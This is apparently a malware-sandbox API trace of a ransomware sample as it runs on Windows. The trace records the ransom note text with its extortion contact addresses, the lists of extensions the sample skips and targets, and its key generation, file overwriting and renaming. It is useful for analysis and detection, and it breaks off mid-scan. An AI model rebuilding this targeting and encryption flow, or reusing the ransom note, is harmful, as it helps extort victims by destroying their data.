	[0077.600] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\Read~ME.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\1033\\read~me.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128
	[0077.601] lstrlenW (lpString="Dear user! Your data is encrypted!\r\n\r\nAny attempts to decrypt your data yourself will lead to loss of information !! Be careful!\r\n\r\nOur mail:\r\n1. cryptofiles20202020@protonmail.com\r\n2. cryptofiles20202020@cock.li\r\n\r\nAttention!\r\n\r\nDecryption of your files is a paid service.\r\nIf you do not have money, then you can not apply. All is serious.\r\nContact us at the address and indicate your id in the subject line.\r\nYour ID: ff9adce5d1") returned 430
	[0077.601] WriteFile (in: hFile=0x128, lpBuffer=0x368100*, nNumberOfBytesToWrite=0x35c, lpNumberOfBytesWritten=0x1f8fed8, lpOverlapped=0x0 | out: lpBuffer=0x368100*, lpNumberOfBytesWritten=0x1f8fed8*=0x35c, lpOverlapped=0x0) returned 1
	[0077.602] CloseHandle (hObject=0x128) returned 1
	[0077.602] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ab768 | out: hHeap=0x300000) returned 1
	[0077.602] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ab2d0 | out: hHeap=0x300000) returned 1
	[0077.602] RtlWakeConditionVariable () returned 0x365f70
	[0077.602] GetCurrentThreadId () returned 0xaf0
	[0077.602] GetCurrentThreadId () returned 0xaf0
	[0077.602] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3ab2d0
	[0077.602] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ab810 | out: hHeap=0x300000) returned 1
	[0077.602] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a9500 | out: hHeap=0x300000) returned 1
	[0077.603] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3ab810
	[0077.603] lstrlenW (lpString=".scr") returned 4
	[0077.619] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT", lpSrch=".scr") returned 0x0
	[0077.619] lstrlenW (lpString=".cmd") returned 4
	[0077.619] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT", lpSrch=".cmd") returned 0x0
	[0077.628] lstrlenW (lpString=".dll") returned 4
	[0077.628] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT", lpSrch=".dll") returned 0x0
	[0077.628] lstrlenW (lpString=".bat") returned 4
	[0077.628] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT", lpSrch=".bat") returned 0x0
	[0077.628] lstrlenW (lpString=".cpl") returned 4
	[0077.628] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT", lpSrch=".cpl") returned 0x0
	[0077.628] lstrlenW (lpString=".sys") returned 4
	[0077.628] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT", lpSrch=".sys") returned 0x0
	[0077.628] lstrlenW (lpString=".msc") returned 4
	[0077.628] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT", lpSrch=".msc") returned 0x0
	[0077.628] lstrlenW (lpString=".com") returned 4
	[0077.629] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT", lpSrch=".com") returned 0x0
	[0077.629] lstrlenW (lpString=".lnk") returned 4
	[0077.629] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT", lpSrch=".lnk") returned 0x0
	[0077.629] lstrlenW (lpString=".msp") returned 4
	[0077.629] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT", lpSrch=".msp") returned 0x0
	[0077.629] lstrlenW (lpString=".pif") returned 4
	[0077.629] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT", lpSrch=".pif") returned 0x0
	[0077.629] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0077.629] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT", lpSrch="msp\r\n.pif") returned 0x0
	[0077.629] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.cnt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120
	[0077.711] lstrlenW (lpString=".sqb") returned 4
	[0077.711] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT", lpSrch=".sqb") returned 0x0
	[0077.711] lstrlenW (lpString=".ost") returned 4
	[0077.711] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT", lpSrch=".ost") returned 0x0
	[0077.711] lstrlenW (lpString=".txt") returned 4
	[0077.711] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT", lpSrch=".txt") returned 0x0
	[0077.711] lstrlenW (lpString=".mdt") returned 4
	[0077.711] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT", lpSrch=".mdt") returned 0x0
	[0077.711] lstrlenW (lpString=".BDB") returned 4
	[0077.711] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT", lpSrch=".BDB") returned 0x0
	[0077.711] lstrlenW (lpString=".eql") returned 4
	[0077.711] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT", lpSrch=".eql") returned 0x0
	[0077.711] lstrlenW (lpString=".DBF") returned 4
	[0077.711] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT", lpSrch=".DBF") returned 0x0
	[0077.711] lstrlenW (lpString=".EQL") returned 4
	[0077.712] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT", lpSrch=".EQL") returned 0x0
	[0077.712] lstrlenW (lpString=".FDB") returned 4
	[0077.712] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT", lpSrch=".FDB") returned 0x0
	[0077.712] lstrlenW (lpString=".EDB") returned 4
	[0077.712] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT", lpSrch=".EDB") returned 0x0
	[0077.712] lstrlenW (lpString=".DACPAC") returned 7
	[0077.712] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT", lpSrch=".DACPAC") returned 0x0
	[0077.712] lstrlenW (lpString=".VHD") returned 4
	[0077.712] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT", lpSrch=".VHD") returned 0x0
	[0077.712] lstrlenW (lpString=".DBV") returned 4
	[0077.712] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT", lpSrch=".DBV") returned 0x0
	[0077.712] lstrlenW (lpString=".dacpac") returned 7
	[0077.712] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT", lpSrch=".dacpac") returned 0x0
	[0077.712] lstrlenW (lpString=".sdf") returned 4
	[0077.712] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT", lpSrch=".sdf") returned 0x0
	[0077.712] lstrlenW (lpString=".accdb") returned 6
	[0077.712] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT", lpSrch=".accdb") returned 0x0
	[0077.712] lstrlenW (lpString=".DBX") returned 4
	[0077.712] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT", lpSrch=".DBX") returned 0x0
	[0077.713] lstrlenW (lpString=".MDT") returned 4
	[0077.713] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT", lpSrch=".MDT") returned 0x0
	[0077.713] lstrlenW (lpString=".SQB") returned 4
	[0077.713] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT", lpSrch=".SQB") returned 0x0
	[0077.713] lstrlenW (lpString=".vhd") returned 4
	[0077.713] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT", lpSrch=".vhd") returned 0x0
	[0077.713] lstrlenW (lpString=".bac") returned 4
	[0077.713] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT", lpSrch=".bac") returned 0x0
	[0077.713] lstrlenW (lpString=".mdf") returned 4
	[0077.713] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT", lpSrch=".mdf") returned 0x0
	[0077.713] lstrlenW (lpString=".BAK") returned 4
	[0077.713] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT", lpSrch=".BAK") returned 0x0
	[0077.713] lstrlenW (lpString=".BAC") returned 4
	[0077.713] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT", lpSrch=".BAC") returned 0x0
	[0077.713] lstrlenW (lpString=".dbs") returned 4
	[0077.713] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT", lpSrch=".dbs") returned 0x0
	[0077.713] lstrlenW (lpString=".vhdx") returned 5
	[0077.713] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT", lpSrch=".vhdx") returned 0x0
	[0077.713] lstrlenW (lpString=".NDF") returned 4
	[0077.713] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT", lpSrch=".NDF") returned 0x0
	[0077.713] lstrlenW (lpString=".dat") returned 4
	[0077.714] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT", lpSrch=".dat") returned 0x0
	[0077.714] lstrlenW (lpString=".DBS") returned 4
	[0077.714] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT", lpSrch=".DBS") returned 0x0
	[0077.714] lstrlenW (lpString=".CKP") returned 4
	[0077.714] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT", lpSrch=".CKP") returned 0x0
	[0077.714] lstrlenW (lpString=".edb") returned 4
	[0077.714] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT", lpSrch=".edb") returned 0x0
	[0077.714] lstrlenW (lpString=".PST") returned 4
	[0077.714] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT", lpSrch=".PST") returned 0x0
	[0077.714] lstrlenW (lpString=".dbf") returned 4
	[0077.714] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT", lpSrch=".dbf") returned 0x0
	[0077.714] lstrlenW (lpString=".SQL") returned 4
	[0077.714] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT", lpSrch=".SQL") returned 0x0
	[0077.714] lstrlenW (lpString=".pst") returned 4
	[0077.714] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT", lpSrch=".pst") returned 0x0
	[0077.714] lstrlenW (lpString=".dbv") returned 4
	[0077.714] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT", lpSrch=".dbv") returned 0x0
	[0077.714] lstrlenW (lpString=".SDF") returned 4
	[0077.714] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT", lpSrch=".SDF") returned 0x0
	[0077.714] lstrlenW (lpString=".dtxs") returned 5
	[0077.715] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT", lpSrch=".dtxs") returned 0x0
	[0077.715] lstrlenW (lpString=".db3") returned 4
	[0077.715] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT", lpSrch=".db3") returned 0x0
	[0077.715] lstrlenW (lpString=".OST") returned 4
	[0077.715] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT", lpSrch=".OST") returned 0x0
	[0077.715] lstrlenW (lpString=".dbx") returned 4
	[0077.715] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT", lpSrch=".dbx") returned 0x0
	[0077.715] lstrlenW (lpString=".DB3") returned 4
	[0077.715] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT", lpSrch=".DB3") returned 0x0
	[0077.715] lstrlenW (lpString=".DAT") returned 4
	[0077.715] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT", lpSrch=".DAT") returned 0x0
	[0077.715] lstrlenW (lpString=".VHDX") returned 5
	[0077.715] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT", lpSrch=".VHDX") returned 0x0
	[0077.715] lstrlenW (lpString=".ndf") returned 4
	[0077.715] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT", lpSrch=".ndf") returned 0x0
	[0077.715] lstrlenW (lpString=".DB") returned 3
	[0077.715] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT", lpSrch=".DB") returned 0x0
	[0077.715] lstrlenW (lpString=".sql") returned 4
	[0077.715] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT", lpSrch=".sql") returned 0x0
	[0077.715] lstrlenW (lpString=".MYD") returned 4
	[0077.715] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT", lpSrch=".MYD") returned 0x0
	[0077.716] lstrlenW (lpString=".DBT") returned 4
	[0077.716] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT", lpSrch=".DBT") returned 0x0
	[0077.716] lstrlenW (lpString=".ACCDB") returned 6
	[0077.716] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT", lpSrch=".ACCDB") returned 0x0
	[0077.716] lstrlenW (lpString=".fdb") returned 4
	[0077.716] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT", lpSrch=".fdb") returned 0x0
	[0077.716] lstrlenW (lpString=".bak") returned 4
	[0077.716] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT", lpSrch=".bak") returned 0x0
	[0077.716] lstrlenW (lpString=".myd") returned 4
	[0077.716] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT", lpSrch=".myd") returned 0x0
	[0077.716] lstrlenW (lpString=".DTXS") returned 5
	[0077.716] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT", lpSrch=".DTXS") returned 0x0
	[0077.716] lstrlenW (lpString=".ckp") returned 4
	[0077.716] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT", lpSrch=".ckp") returned 0x0
	[0077.716] lstrlenW (lpString=".dbt") returned 4
	[0077.716] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT", lpSrch=".dbt") returned 0x0
	[0077.716] lstrlenW (lpString=".db") returned 3
	[0077.716] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT", lpSrch=".db") returned 0x0
	[0077.716] lstrlenW (lpString=".TXT") returned 4
	[0077.716] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT", lpSrch=".TXT") returned 0x0
	[0077.716] lstrlenW (lpString=".MDF") returned 4
	[0077.716] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT", lpSrch=".MDF") returned 0x0
	[0077.717] lstrlenW (lpString=".bdb") returned 4
	[0077.717] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT", lpSrch=".bdb") returned 0x0
	[0077.717] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0077.717] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0077.717] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2804470
	[0077.717] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0077.717] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x39fe28) returned 1
	[0077.718] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0077.718] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0077.718] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0077.718] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0077.718] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2809400
	[0077.718] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=19770822324) returned 1
	[0077.718] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0x98390610, dwHighDateTime=0x1d60e1e)) 
	[0077.718] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0077.718] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0077.718] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0077.718] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a95e0
	[0077.718] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0077.718] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a95e0 | out: hHeap=0x300000) returned 1
	[0077.718] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0077.719] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0077.719] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3ab8b8
	[0077.719] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0077.719] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3e2708
	[0077.719] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ab8b8 | out: hHeap=0x300000) returned 1
	[0077.719] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0077.719] GetLastError () returned 0x0
	[0077.719] GetLastError () returned 0x0
	[0077.719] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0077.719] GetLastError () returned 0x0
	[0077.719] GetLastError () returned 0x0
	[0077.720] ReadFile (in: hFile=0x120, lpBuffer=0x2824fd8, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x2824fd8*, lpNumberOfBytesRead=0x1f8fec0*=0x9fd, lpOverlapped=0x0) returned 1
	[0077.723] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0xfffff603, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0077.723] WriteFile (in: hFile=0x120, lpBuffer=0x2824fd8*, nNumberOfBytesToWrite=0x9fd, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x2824fd8*, lpNumberOfBytesWritten=0x1f8fec0*=0x9fd, lpOverlapped=0x0) returned 1
	[0077.723] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2824fd8 | out: hHeap=0x300000) returned 1
	[0077.724] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0077.724] WriteFile (in: hFile=0x120, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0077.724] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0077.724] WriteFile (in: hFile=0x120, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0077.724] CloseHandle (hObject=0x120) returned 1
	[0077.724] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3ab8b8
	[0077.724] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.cnt"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.cnt.~~~~")) returned 1
	[0077.725] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ab8b8 | out: hHeap=0x300000) returned 1
	[0077.725] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0077.725] GetLastError () returned 0x0
	[0077.725] RtlWakeConditionVariable () returned 0x365f70
	[0077.725] GetCurrentThreadId () returned 0xaf0
	[0077.726] GetCurrentThreadId () returned 0xaf0
	[0077.726] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3e2708
	[0077.726] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a7b48 | out: hHeap=0x300000) returned 1
	[0077.726] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a9618 | out: hHeap=0x300000) returned 1
	[0077.726] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a7b48
	[0077.726] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\Read~ME.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\read~me.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120
	[0077.726] lstrlenW (lpString="Dear user! Your data is encrypted!\r\n\r\nAny attempts to decrypt your data yourself will lead to loss of information !! Be careful!\r\n\r\nOur mail:\r\n1. cryptofiles20202020@protonmail.com\r\n2. cryptofiles20202020@cock.li\r\n\r\nAttention!\r\n\r\nDecryption of your files is a paid service.\r\nIf you do not have money, then you can not apply. All is serious.\r\nContact us at the address and indicate your id in the subject line.\r\nYour ID: ff9adce5d1") returned 430
	[0077.726] WriteFile (in: hFile=0x120, lpBuffer=0x368100*, nNumberOfBytesToWrite=0x35c, lpNumberOfBytesWritten=0x1f8fed8, lpOverlapped=0x0 | out: lpBuffer=0x368100*, lpNumberOfBytesWritten=0x1f8fed8*=0x35c, lpOverlapped=0x0) returned 1
	[0077.728] CloseHandle (hObject=0x120) returned 1
	[0077.728] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a7b48 | out: hHeap=0x300000) returned 1
	[0077.728] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e2708 | out: hHeap=0x300000) returned 1
	[0077.728] RtlWakeConditionVariable () returned 0x365f70
	[0077.728] GetCurrentThreadId () returned 0xaf0
	[0077.728] GetCurrentThreadId () returned 0xaf0
	[0077.728] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a7b48
	[0077.728] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a7c78 | out: hHeap=0x300000) returned 1
	[0077.728] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39dc40 | out: hHeap=0x300000) returned 1
	[0077.728] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a7c78
	[0077.729] lstrlenW (lpString=".scr") returned 4
	[0077.729] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\MSOEURO.DLL", lpSrch=".scr") returned 0x0
	[0077.729] lstrlenW (lpString=".cmd") returned 4
	[0077.729] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\MSOEURO.DLL", lpSrch=".cmd") returned 0x0
	[0077.729] lstrlenW (lpString=".dll") returned 4
	[0077.729] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\MSOEURO.DLL", lpSrch=".dll") returned 0x0
